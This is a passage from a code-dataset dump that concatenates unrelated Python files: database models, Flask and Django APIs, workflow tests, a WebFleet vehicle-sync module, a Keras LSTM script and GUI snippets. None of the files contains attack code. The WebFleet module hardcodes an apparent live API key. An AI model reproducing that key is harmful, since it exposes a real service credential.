class Meta:\n db_table = 'administrator' \n\n username = CharField()\n password = CharField()\n role = IntegerField()\n options = CharField()\n name = CharField()\n sex = IntegerField() \n province = CharField()\n city = CharField()\n country = CharField()\n mobile = CharField() \n email = CharField()\n birthday = DateField(default='1970-01-01')\n education = CharField()\n lastloginip = CharField()\n lastdevice = CharField()\n lastlogintime = DateTimeField()\n status = IntegerField(default=STATUS_VALID)\n\n\n\ndef GetRecordByUsername(username):\n return Administrator.get_or_none(Administrator.username == username, Administrator.status == STATUS_VALID)\n \n\ndef IsExistId(userid):\n return Administrator.get_or_none(Administrator.id == userid, Administrator.status == STATUS_VALID)\n\n\ndef UpdateRecrodByUsername(mDict):\n Administrator.update(**mDict).where(Administrator.username==mDict['username']).execute()","sub_path":"server/app/model/Administrator.py","file_name":"Administrator.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"514974130","text":"class Zone():\n \"\"\"\n Class representing Zones (Entrance, Paths or points of view)\n \"\"\"\n def __init__(self, idx, category):\n \"\"\"Simple constructor\"\"\"\n self.id = idx\n \n if category == 1: self.category = 'point of view'\n elif category == 2: self.category = 'entrance'\n elif category == 3: self.category = 'middle point'\n\n self.connections = []\n self.nb_connections = 0\n \n self.max_connections = -1\n self.closest_entrance_cost = -1\n self.connected_to_entrance = (category == 'entrance')\n \n def reinitialize(self):\n \"\"\"Reset zone to its initial state (remove connections)\"\"\"\n self.connections = []\n self.nb_connections = 0\n self.connected_to_entrance = (self.category == 'entrance')\n\n def __str__(self):\n \"\"\"Print a lot of stuff for debugging purposes\"\"\"\n print(\"id:\", self.id, \"cat:\", self.category, \"nb_connections:\", self.nb_connections, \"/\", self.max_connections, \"connected_to_entrance:\", self.connected_to_entrance)\n return \"\"\n \n def find_closest_entrance_cost(self, entrances, costs):\n \"\"\"\n Since every (zone,zone) pair has a valid cost, we find the closest one\n for each zone. It will be used as an heuristic\n \"\"\"\n if self.category == 'entrance':\n self.closest_entrance_cost = 0\n return\n \n minimum = costs[self.id, entrances[0].id]\n \n for x in entrances:\n if minimum > costs[self.id, x.id]:\n minimum = costs[self.id,x.id] \n self.closest_entrance_cost = minimum\n\n def is_valid(self):\n \"\"\"Verify the validity of a zone\"\"\"\n return (\n (self.connected_to_entrance) and\n (self.nb_connections <= self.max_connections) and\n (self.category == 'point of view' and self.nb_connections == 1) or\n (self.category == 'entrance' and self.nb_connections > 0) or\n (self.category == 'middle point' and self.nb_connections >= 2)\n )\n","sub_path":"src/zone.py","file_name":"zone.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"185856135","text":"\"\"\"\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements. See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership. The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License. You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n\"\"\"\nimport os\nfrom resource_management import *\nfrom subprocess import *\n\ndef check_rc(rc,stdout=None,stderr=None):\n if rc == 2:\n Logger.error(\"Code 2: Invalid argument\\n%s\" % stderr)\n raise InvalidArgument(stderr)\n if rc == 3:\n Logger.error(\"Code 3: Component is Not Running\\n%s\" % stderr)\n raise ComponentIsNotRunning(stderr)\n if rc > 0:\n Logger.error(\"Code %d: Undefined error\\n%s\" % (rc,stderr))\n raise Fail(stderr)\n\ndef execute_sudo_krb(cmd,user=None,principal=None,keytab=None,keytab_cache=None,input=None,shell=False):\n import params\n \n secure = params.security_enabled\n user = user or params.hdfs_user\n principal = principal or params.hdfs_principal_name\n keytab = keytab or params.hdfs_user_keytab\n keytab_cache = keytab_cache or params.kerberos_cache_file\n \n auth_token=None\n \n if secure:\n import kerberosWrapper\n auth_token = kerberosWrapper.krb_wrapper(principal,keytab,keytab_cache)\n os.environ['KRB5CCNAME'] = keytab_cache\n else:\n cmd_aux = [\"su\",\"-s\",\"/bin/bash\",user,\"-c\"]\n cmd_aux.append(' '.join(cmd))\n cmd = cmd_aux\n Logger.info(\"Executing %s\" % str(cmd)) \n executed=Popen(cmd,stdin=PIPE,stdout=PIPE,stderr=PIPE,shell=False)\n out,err=executed.communicate(input=input)\n if secure and auth_token:\n auth_token.destroy()\n\n return out,err,executed.returncode\n \n","sub_path":"KEEDIO/1.4/services/IPA/package/scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"648762647","text":"import json\n\nfrom bson import ObjectId\nfrom flask import request\n\nfrom api import Data\nfrom database.data.child import lookup, delete, edit\n\n\nclass Child(Data):\n def patch(self, child_id):\n operations = [\"add\", \"remove\"]\n\n commands = request.values.to_dict()\n if len(commands) < 1:\n return [\"submit changes in the form of\", {\"op\": \"val\", \"args\": \"val\"}], 400\n\n if len(commands) == 1:\n for key in commands:\n commands = json.loads(key)\n break\n\n for instruction in commands:\n\n try:\n assert isinstance(instruction, dict)\n except AssertionError:\n return {\"must pass commands as a dictionary, eg\": [{\"op\": \"1\"}, {\"op\": \"2\"}]}, 400\n if \"op\" not in instruction:\n # not a valid instruction\n return {\"no keyword op in received:\": instruction}, 400\n if instruction['op'] not in operations:\n return {\"valid operations are\": operations}, 400\n\n if instruction['op'] == 'add':\n if 'id' not in instruction:\n return {\"need field \\'id\\'\": instruction}, 400\n else:\n items = lookup(child_id)[0]['items']\n print(\"items is\", items)\n items.append(ObjectId(instruction['id']))\n\n return edit(child_id, items=items)\n\n if instruction['op'] == 'remove':\n if 'id' not in instruction:\n return {\"need field \\'id\\'\": instruction}, 400\n else:\n items = lookup(child_id)[0]['items']\n print(\"items is\", items)\n try:\n items.remove(ObjectId(instruction['id']))\n except ValueError:\n return {\"not in list\": instruction['id']}, 404\n\n return edit(child_id, items=items)\n\n def delete(self, child_id):\n\n return delete(child_id)\n\n def get(self, child_id):\n (rv, x) = lookup(child_id)\n\n return rv, x\n","sub_path":"backend/stocklist-backend/api/data/child.py","file_name":"child.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"254136272","text":"import socket\nimport unittest\nfrom os import path\n\nimport walkoff.appgateway\nimport walkoff.case.database as case_database\nimport walkoff.case.subscription as case_subscription\nimport walkoff.config.config\nimport walkoff.controller\nimport walkoff.core.multiprocessedexecutor\nfrom walkoff.core.multiprocessedexecutor.multiprocessedexecutor import MultiprocessedExecutor\nfrom tests import config\nfrom tests.util.mock_objects import *\n\ntry:\n from importlib import reload\nexcept ImportError:\n from imp import reload\n\n\nclass TestWorkflowManipulation(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n walkoff.appgateway.cache_apps(config.test_apps_path)\n walkoff.config.config.load_app_apis(apps_path=config.test_apps_path)\n walkoff.config.config.num_processes = 2\n MultiprocessedExecutor.initialize_threading = mock_initialize_threading\n MultiprocessedExecutor.wait_and_reset = mock_wait_and_reset\n MultiprocessedExecutor.shutdown_pool = mock_shutdown_pool\n walkoff.controller.controller.initialize_threading()\n\n def setUp(self):\n self.controller = walkoff.controller.controller\n self.controller.workflows = {}\n self.controller.load_playbooks(\n resource_collection=path.join(\".\", \"tests\", \"testWorkflows\", \"testGeneratedWorkflows\"))\n self.controller.load_playbook(\n resource=path.join(config.test_workflows_path, 'simpleDataManipulationWorkflow.playbook'))\n self.id_tuple = ('simpleDataManipulationWorkflow', 'helloWorldWorkflow')\n self.testWorkflow = self.controller.get_workflow(*self.id_tuple)\n self.testWorkflow.set_execution_uid('some_uid')\n case_database.initialize()\n\n def tearDown(self):\n self.controller.workflows = None\n case_database.case_db.tear_down()\n case_subscription.clear_subscriptions()\n reload(socket)\n\n @classmethod\n def tearDownClass(cls):\n walkoff.appgateway.clear_cache()\n walkoff.controller.controller.shutdown_pool()\n\n def test_pause_and_resume_workflow(self):\n self.controller.load_playbook(resource=path.join(config.test_workflows_path, 'pauseWorkflowTest.playbook'))\n\n uid = None\n result = dict()\n result['paused'] = False\n result['resumed'] = False\n\n def workflow_paused_listener(sender, **kwargs):\n result['paused'] = True\n self.controller.resume_workflow(uid)\n\n WalkoffEvent.WorkflowPaused.connect(workflow_paused_listener)\n\n def workflow_resumed_listener(sender, **kwargs):\n result['resumed'] = True\n\n WalkoffEvent.WorkflowResumed.connect(workflow_resumed_listener)\n\n def pause_resume_thread():\n self.controller.pause_workflow(uid)\n return\n\n def action_1_about_to_begin_listener(sender, **kwargs):\n threading.Thread(target=pause_resume_thread).start()\n\n WalkoffEvent.WorkflowExecutionStart.connect(action_1_about_to_begin_listener)\n\n uid = self.controller.execute_workflow('pauseWorkflowTest', 'pauseWorkflow')\n self.controller.wait_and_reset(1)\n self.assertTrue(result['paused'])\n self.assertTrue(result['resumed'])\n\n def test_change_action_input(self):\n arguments = [{'name': 'call', 'value': 'CHANGE INPUT'}]\n\n result = {'value': None}\n\n def action_finished_listener(sender, **kwargs):\n result['value'] = kwargs['data']\n\n WalkoffEvent.ActionExecutionSuccess.connect(action_finished_listener)\n\n self.controller.execute_workflow('simpleDataManipulationWorkflow', 'helloWorldWorkflow',\n start_arguments=arguments)\n self.controller.wait_and_reset(1)\n self.assertDictEqual(result['value'],\n {'result': 'REPEATING: CHANGE INPUT', 'status': 'Success'})\n","sub_path":"tests/test_workflow_manipulation.py","file_name":"test_workflow_manipulation.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"183778398","text":"\"\"\"\nYou are given an array (which will have a length of at least 3, \nbut could be very large) containing integers. The array is either \nentirely comprised of odd integers or entirely comprised of even integers \nexcept for a single integer N. Write a method that takes the array \nas an argument and returns this \"outlier\" N.\n\"\"\"\n\ndef find_outlier(integers):\n odd_count = 0\n even_count = 0\n the_intruder = 0\n for digit in integers:\n if digit%2 == 0:\n odd_count+=1\n else:\n even_count+=1\n if even_count > odd_count:\n for digit in integers:\n if digit%2 == 0:\n the_intruder = digit\n else:\n for digit in integers:\n if digit%2 != 0:\n the_intruder = digit\n return the_intruder\n\nprint(find_outlier([160, 3, 1719, 19, 11, 13, -21]))","sub_path":"chase_the_intruder.py","file_name":"chase_the_intruder.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"265131909","text":"from pyspark.ml import Pipeline\nfrom pyspark.sql import SparkSession\nfrom pyspark.ml.feature import Binarizer\n\nif __name__ == \"__main__\":\n spark = SparkSession\\\n .builder\\\n .appName(\"BinarizerExample\")\\\n .getOrCreate()\n\n continuousDataFrame = spark.createDataFrame([(4)], [ \"feature\"])\n binarizer = Binarizer(threshold=5, inputCol=\"feature\", outputCol=\"binarized_feature\")\n pipeline = Pipeline(stages=[binarizer])\n pipeline = pipeline.fit(continuousDataFrame)\n pipeline.write().overwrite().save(\"binarizer\")","sub_path":"examples/binarizer/bin_train.py","file_name":"bin_train.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"499233750","text":"\"\"\"blossomac URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\nfrom datascience import views\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', views.home, name='index'),\n url(r'^enterprise/', views.join_blossom, name='fasttrack'),\n url(r'^immersive/', views.become_partner, name='immersive'),\n url(r'^about/', views.about_us, name='about'),\n url(r'^privacypolicy/', views.privacy_policy, name='privacypolicy'),\n url(r'^terms/', views.terms_services, name='terms'),\n url(r'^faqs/', views.faqs, name='faqs')\n]\n ","sub_path":"blossomac/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"120690711","text":"####\n# CONFIGURATION\n####\nBUCKET_LANDING = \"djm2-lake-landing\"\nBUCKET_CURATED = \"djm2-lake-curated\"\n\n# Read the JSON data as a data frame\nlanded_data = \"s3://\"+BUCKET_LANDING+\"/fda/2019-08-10/drug/label/part-*\"\ndataframe = spark.read.json(landed_data)\n\n# Store refined data as Parquet\ndataframe.write.mode(\"overwrite\").parquet(\"s3://\"+BUCKET_CURATED+\"/fda/drug/label/\")\n","sub_path":"03_FDA_Labels/fda.02.curate.py","file_name":"fda.02.curate.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"96835050","text":"from member.constants import UserRoles\n\n\ndef roles(request):\n return {\n 'USER': UserRoles.USER,\n 'MEMBRU_ASPIRANT': UserRoles.MEMBRU_ASPIRANT,\n 'TEMERAR': UserRoles.TEMERAR,\n 'EXPLORATOR': UserRoles.EXPLORATOR,\n 'SENIOR': UserRoles.SENIOR,\n 'LIDER': UserRoles.LIDER,\n 'LIDER_ASISTENT': UserRoles.LIDER_ASISTENT,\n 'VOLUNTAR': UserRoles.VOLUNTAR,\n\n 'STAFF': UserRoles.STAFF,\n 'ADMIN': UserRoles.ADMIN,\n }\n","sub_path":"web/member/context_processor/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"257642714","text":"from flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api\nimport sqlite3\n\n\napp = Flask(__name__)\napi = Api(app)\n\n\nclass MenuSelection(Resource):\n def get(self,id):\n try:\n dbResponse = getFromDataBase(id)\n MenuSelectionX = [{\n \"id\" : dbResponse[0], #this is the same as the passed ID value\n \"name\" : dbResponse[1]\n }]\n\n return jsonify({\"success\": True, \"MenuSection\" : MenuSelectionX})\n except:\n \n return jsonify({\"success\": False})\n\n \n def post(self,id):\n try:\n name = request.json['name'] #GRAB THE NAME FEILD FROM THE JSON REQUEST\n getFromDataBase(id) #if the ID is not the database, this will throw \n updateInDataBase(id,name)\n MenuSelectionX = [{\n \"id\" : id,\n \"name\" : name\n }]\n\n return jsonify({\"success\": True, \"MenuSection\" : MenuSelectionX})\n except:\n \n return jsonify({\"success\": False})\n\n def delete(self,id):\n try:\n getFromDataBase(id) #IF THE ENTRY IS NOT IN THE DATABASE, THIS WILL THROW AN EXCEPTION SO THE DELETION IS FALSE AS IT DID NOT HAPPEN \n deleteFromDataBase(id)\n return jsonify({\"success\": True})\n except:\n return jsonify({\"success\": False})\n\n\nclass AllSections(Resource):\n def get(self):\n\n try:\n dbResponse = getAllFromDataBase()\n MenuSelectionX = []\n #DbResponse WILL CONTAIN ALL ENTRIES IN THE DATABASE, SO LOOP THROUGH AND APPEND TO THE OUTPUT VARIABLE MenuSelectionX\n for entry in dbResponse:\n MenuSelectionX.append({\n \"id\" : entry[0], #this is the same as the passed ID value\n \"name\" : entry[1]\n })\n\n return jsonify({\"success\": True, \"MenuSection\" : MenuSelectionX})\n except:\n \n return jsonify({\"success\": False})\n\n\n def put(self):\n\n try:\n name = request.json['name']\n newId = putInDataBase(name)\n MenuSelectionX = [{\n \"id\" : newId,\n \"name\" : name\n }]\n\n return jsonify({\"success\": True, \"MenuSection\" : MenuSelectionX})\n except:\n return jsonify({\"success\": False})\n\n\n\n#DEFINE API ROUTES\napi.add_resource(MenuSelection, \"/menusection/\") #USE THIS API WHEN ADDRESSING A GIVEN ID \napi.add_resource(AllSections, \"/menusection\") #USE THIS API WHEN AN ID IS NOT APPROPRIATE \n\n\n#DATABASE INTERACTIONS\ndef create_table():\n conn = sqlite3.connect(\"Menu.db\") #CONNECT TO THE DATABASE\n c = conn.cursor() #CURSOR\n c.execute('CREATE TABLE IF NOT EXISTS MenuSections(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT)') #SQL CREATE TABLE STATMENT \n c.close()\n conn.close()\n\n\ndef putInDataBase(name):\n conn = sqlite3.connect(\"Menu.db\") \n c = conn.cursor()\n c.execute(\"INSERT INTO MenuSections (name) VALUES(?)\",(name,)) #SQL INSERT STATEMENT\n c.execute(\"select last_insert_rowid()\")\n newID = c.fetchall()[0][0] #GRAB THE NEW ID TO RETURN TO THE CLIENT \n conn.commit()\n c.close()\n conn.close()\n return newID\n\ndef updateInDataBase(id,name):\n conn = sqlite3.connect(\"Menu.db\") \n c = conn.cursor()\n c.execute(\"Update MenuSections SET name=(?) WHERE id= (?)\",(name,id,)) #SQL UPDATE ROW STATEMENT\n conn.commit()\n c.close()\n conn.close()\n \n\ndef deleteFromDataBase(id):\n conn = sqlite3.connect(\"Menu.db\") \n c = conn.cursor()\n c.execute(\"DELETE FROM MenuSections WHERE id=(?)\",(id,)) #SQL DELETE STATMENT\n conn.commit()\n \ndef getFromDataBase(id):\n conn = sqlite3.connect(\"Menu.db\") \n c = conn.cursor()\n c.execute(\"SELECT * FROM MenuSections WHERE id=(?)\",(id,)) #SQL SELECT STATMENT\n return c.fetchall()[0]\n\ndef getAllFromDataBase():\n conn = sqlite3.connect(\"Menu.db\") \n c = conn.cursor()\n c.execute(\"SELECT * FROM MenuSections\") #SQL SELECT ALL STATMENT\n return c.fetchall()\n \n\n#CREATE TABLE IF NEEDED ON LAUNCH OF THE CLIENT \ncreate_table()\n\nif __name__ == '__main__':\n app.run(debug=True) \n","sub_path":"MenuAPI.py","file_name":"MenuAPI.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"132652326","text":"import logging\nfrom io import StringIO\nimport requests\nimport csv\n\nfrom plan.api.data import Record, RecordException\nfrom plan.externals import gis\nfrom plan.models import Vehicle, Route\n\nlogger = logging.getLogger('planndit.externals.vehicles')\nwebfleet_url = 'https://csv.business.tomtom.com/extern'\napikey = '95419BAC-2AAE-11E3-A0F0-8FE0ADFC9456'\n\n\ndef vehicle_sync(user):\n if user.account.webfleet_account is None or user.account.webfleet_account == '':\n return 0\n reader = webfleet_request(user.account, 'showObjectReportExtern')\n\n vehicles = Vehicle.objects.filter(account=user.account)\n vehicles_map = {}\n for vehicle in vehicles:\n vehicles_map[vehicle.external_id] = vehicle\n\n new_vehicles = []\n update_vehicles = []\n update_locations = []\n\n for row in reader:\n try:\n vehicle = vehicles_map[row['objectno']]\n if vehicle is not None:\n if vehicle.external_id != row['objectno'] or vehicle.name != row['objectname']:\n update_vehicles += [[vehicle, row]]\n else:\n update_locations += [[vehicle, row]]\n vehicles_map.pop(row['objectno'])\n except KeyError as e:\n new_vehicles += [row]\n pass\n\n object_update = 0\n\n for vehicleData in new_vehicles:\n vehicle = Vehicle(account=user.account)\n vehicle = update_vehicle(vehicle=vehicle, data=vehicleData)\n vehicle.save()\n object_update += 1\n\n for vehicleData in update_vehicles:\n vehicle = vehicleData[0]\n vehicle = update_vehicle(vehicle=vehicle, data=vehicleData[1])\n vehicle.save()\n object_update += 1\n\n for vehicleData in update_locations:\n vehicle = vehicleData[0]\n vehicle = update_location(vehicle=vehicle, data=vehicleData[1])\n vehicle.save()\n\n\n # for vehicleData in vehicles_map:\n # todo to be deleted\n\n return object_update\n\n\ndef send_orders(account, route_id):\n route = Route.objects.filter(account=account, id=route_id)\n if route.count() != 1:\n return\n route = route[0]\n\n orders = route.orders.filter(location__is_valid=True).all()\n for number, order in enumerate(orders):\n description = \"#{number} {description}\".format(number=number + 1, description=order.commentary)\n description += '\\n\\rAddress: {address}'.format(address=order.location.address)\n for item in order.orderitem_set.all():\n description += \"\\n\\r{key}: {value}\".format(key=item.key, value=item.value)\n data = {\n 'objectno': route.vehicle.external_id,\n 'orderid': order.id,\n 'ordertext': description,\n 'ordertype': 3,\n 'longitude': round(order.location.longitude * 1000000),\n 'latitude': round(order.location.latitude * 1000000),\n 'city': order.location.city,\n 'zip': order.location.postcode,\n 'orderdate': route.date.strftime(\"%d/%m/%y\") + \"'TZ\", # todo format\n }\n webfleet_request(account, 'sendDestinationOrderExtern', data)\n route.status = 'Sent'\n route.save()\n\n\ndef webfleet_request(account, action, params=None):\n if not params:\n params = {}\n params.update(get_auth(account))\n params['lang'] = 'en'\n params['action'] = action\n result = requests.get(webfleet_url, params)\n if result.headers.get('X-Webfleet-Errorcode'):\n raise RecordException(Record.serialize(False, result.headers.get('X-Webfleet-Errormessage')))\n reader = parse_csv(result.text)\n return reader # for row in reader: row['col_name']\n\n\ndef parse_csv(response):\n f = StringIO(response)\n reader = csv.DictReader(f, delimiter=';')\n return reader\n\n\ndef get_auth(account):\n return {\n 'account': account.webfleet_account,\n 'username': account.webfleet_username,\n 'password': account.webfleet_password,\n 'apikey': apikey\n }\n\n\ndef update_vehicle(vehicle, data):\n vehicle.name = data['objectname']\n vehicle.external_id = data['objectno']\n return update_location(vehicle, data)\n\n\ndef update_location(vehicle, data):\n latitude = int(data['latitude_mdeg']) / 1000000\n longitude = int(data['longitude_mdeg']) / 1000000\n location = gis.reverse_geocoding(latitude, longitude)\n vehicle.location = location\n return vehicle","sub_path":"plan/externals/webfleet.py","file_name":"webfleet.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"639984171","text":"import os\nimport pickle\nimport tempfile\nimport subprocess\n\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom keras.models import Sequential, Model , load_model\nfrom keras.layers import Dense, Input, SimpleRNN, LSTM, Dropout\nfrom keras.utils import to_categorical\nfrom keras import optimizers\n\nfrom basescript import BaseScript\nfrom diskarray import DiskArray\n\nclass StringEmbeddingsScript(BaseScript):\n CHAR_NONE = '\\x00'\n CHAR_START = '\\x01'\n CHAR_END = '\\x02'\n\n def create_model(self, num_units, word_len, num_unique_chars):\n input_shape = (word_len, num_unique_chars)\n\n model = Sequential()\n model.add(LSTM(num_units, input_shape=input_shape, unroll=True))\n model.add(Dense(num_unique_chars, activation='softmax'))\n\n model.compile(optimizer=optimizers.Adam(lr=0.002),\n loss='categorical_crossentropy',\n metrics=['mse'])\n return model\n\n def execute_cmd(self, cmd):\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n result = p.stdout.read().strip()\n\n return result.decode('utf-8')\n\n def get_char_to_int(self, fpath):\n chars_cmd = \"fold -w1 {0} | sort -u\".format(fpath)\n chars = self.execute_cmd(chars_cmd)\n chars = chars.split('\\n')\n\n max_len_cmd = 'cat {0} | py -x \"len(x)\" | sort -n | tail -1'.format(fpath)\n max_len = self.execute_cmd(max_len_cmd)\n max_len = int(max_len) + 2 # adding 2 for start and end chars\n self.log.info('calculating max lenght is done')\n\n nwords_cmd = 'cat {0} | py -x \"len(x)\" | sort -n | wc -l'.format(fpath)\n nwords = self.execute_cmd(nwords_cmd)\n nwords = int(nwords)\n self.log.info('calculating nwords is done')\n\n chars = [self.CHAR_NONE, self.CHAR_START, self.CHAR_END] + chars\n charmap = { c: i for i, c in enumerate(chars) }\n nchars = len(chars)\n\n return max_len, nchars, nwords, charmap\n\n def load_data(self, max_len, nchars, nwords, charmap):\n char_none = to_categorical(charmap[self.CHAR_NONE], num_classes=nchars)\n data = DiskArray(self.args.training_data, shape=(nwords, max_len, nchars), dtype=np.float32)\n labels = DiskArray(self.args.labels_data, shape=(nwords, nchars), dtype=np.float32)\n\n f = open(self.args.text)\n for i, line in enumerate(f):\n line = line.strip()\n w = line[:-1]\n last_char = line[-1]\n w = '%s%s%s' % (self.CHAR_START, w, self.CHAR_END)\n w = [to_categorical(charmap[x], num_classes=nchars) for x in w]\n w = w + ([char_none] * (max_len - len(w)))\n data[i] = w\n labels[i] = to_categorical(charmap[last_char], num_classes=nchars)\n\n self.log.info('generating vectors is done')\n data.flush()\n labels.flush()\n return data, labels\n\n def get_test_data(self, max_len, nchars, nwords, words, charmap):\n char_none = to_categorical(charmap[self.CHAR_NONE], num_classes=nchars)\n data = np.zeros(shape=(nwords, max_len, nchars), dtype=np.float32)\n labels = np.zeros(shape=(nwords, nchars), dtype=np.float32)\n\n for i in range(nwords):\n w = words[i][:-1]\n last_char = words[i][-1]\n w = '%s%s%s' % (self.CHAR_START, w, self.CHAR_END)\n w = [to_categorical(charmap[x], num_classes=nchars) for x in w]\n w = w + ([char_none] * (max_len - len(w)))\n data[i] = w\n labels[i] = to_categorical(charmap[last_char], num_classes=nchars)\n\n return data, labels\n\n def run(self):\n\n fpath = self.args.text\n\n max_len, nchars, nwords, charmap = self.get_char_to_int(fpath)\n\n disk_array = DiskArray(self.args.out_f, shape=(0,), dtype=[('vec', np.float32, 128)])\n if not os.path.exists(self.args.training_data):\n data, labels = self.load_data(max_len, nchars, nwords, charmap)\n else:\n data = DiskArray(self.args.training_data, dtype=np.float32)\n labels = DiskArray(self.args.labels_data, dtype=np.float32)\n\n if not os.path.exists(self.args.model_name):\n model = self.create_model(128, max_len, nchars)\n self.log.info('Started training the model')\n history = model.fit(data[:], labels[:], epochs=self.args.epochs, batch_size=128)\n plt.plot(history.history['loss'])\n plt.savefig(self.args.image_name)\n else:\n model = load_model(self.args.model_name)\n\n model.save(self.args.model_name)\n\n self.log.info('Accessing the layer weights')\n new_model = Sequential()\n new_model.add(LSTM(128, input_shape=(max_len, nchars), unroll=True))\n weights = model.layers[0].get_weights()\n new_model.set_weights(weights)\n\n self.log.info('started predicting')\n for word in open(fpath):\n word = word.strip()\n test_data, test_lables = self.get_test_data(max_len, nchars, 1, [word], charmap)\n p_out = new_model.predict(test_data)\n disk_array.append((p_out[0],))\n\n disk_array.flush()\n\n def define_args(self, parser):\n parser.add_argument('text', help='input text file')\n parser.add_argument('training_data', help='training file')\n parser.add_argument('labels_data', help='labels file')\n parser.add_argument('epochs', type=int, help='num of epochs')\n parser.add_argument('model_name', help='model name to save')\n parser.add_argument('image_name', help='image name')\n parser.add_argument('out_f', help='out_f name')\n\nif __name__ == '__main__':\n StringEmbeddingsScript().start()\n","sub_path":"nn_scripts/chatra_rnn_new_modifications.py","file_name":"chatra_rnn_new_modifications.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"199101223","text":"import numpy as np\nimport cv2\n\ncanvas = np.zeros((300, 300, 3), dtype = \"uint8\")\n(centreX, centreY) = (canvas.shape[1] / 2, canvas.shape[0] / 2)\nwhite = (255, 255, 255)\n\nfor r in xrange(0, 175, 25):\n\tcv2.circle(canvas, (centreX, centreY), r, white)\n\ncv2.imshow(\"Canvas\", canvas)\ncv2.waitKey(0)\n\nfor i in xrange(0, 25):\n\tradius = np.random.randint(5, high = 200)\n\tcolour = np.random.randint(0, high = 256, size = (3,)).tolist()\n\tpt = np.random.randint(0, high = 300, size = (2,))\n\tcv2.circle(canvas, tuple(pt), radius, colour, -1)\n\ncv2.imshow(\"Canvas\", canvas)\ncv2.waitKey(0)\n","sub_path":"drawing/circles.py","file_name":"circles.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"653071277","text":"import sys\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtGui as qtg\nfrom PyQt5 import QtCore as qtc\n\nclass SearchWidget(qtw.QWidget):\n\n submitted = qtc.pyqtSignal(str, bool)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setLayout(qtw.QFormLayout())\n self.term_input = qtw.QLineEdit()\n self.case_checkbox = qtw.QCheckBox('Match case')\n search_image = qtg.QPixmap('search.svg')\n gear_image = qtg.QPixmap('gear.svg')\n search_icon = qtg.QIcon(search_image)\n search_icon.addPixmap(gear_image, qtg.QIcon.Disabled)\n self.submit_button = qtw.QPushButton(\n 'Submit',\n icon=search_icon,\n clicked=self.on_submit,\n )\n self.submit_button.setEnabled(False)\n self.layout().addRow(qtw.QLabel(pixmap=search_image))\n self.layout().addRow('Search', self.term_input)\n self.layout().addRow(self.case_checkbox)\n self.layout().addRow('', self.submit_button)\n\n self.term_input.textChanged.connect(self.check_term)\n\n def check_term(self, term):\n\n if term:\n self.submit_button.setEnabled(True)\n else:\n self.submit_button.setEnabled(False)\n\n def on_submit(self):\n term = self.term_input.text()\n do_case = (\n self.case_checkbox.checkState() == qtc.Qt.Checked\n )\n self.submitted.emit(term, do_case)\n\n\nclass MainWindow(qtw.QMainWindow):\n\n def __init__(self):\n \"\"\"MainWindow constructor.\"\"\"\n super().__init__()\n\n # Central Widget\n\n self.textedit = qtw.QTextEdit()\n self.setCentralWidget(self.textedit)\n\n # Menu Bar\n\n menu = self.menuBar() # -> QMenuBar\n file_menu = menu.addMenu('File') # -> QMenu\n save_act = file_menu.addAction('Save', self.save) # -> QAction\n # Add keyboard shortcuts 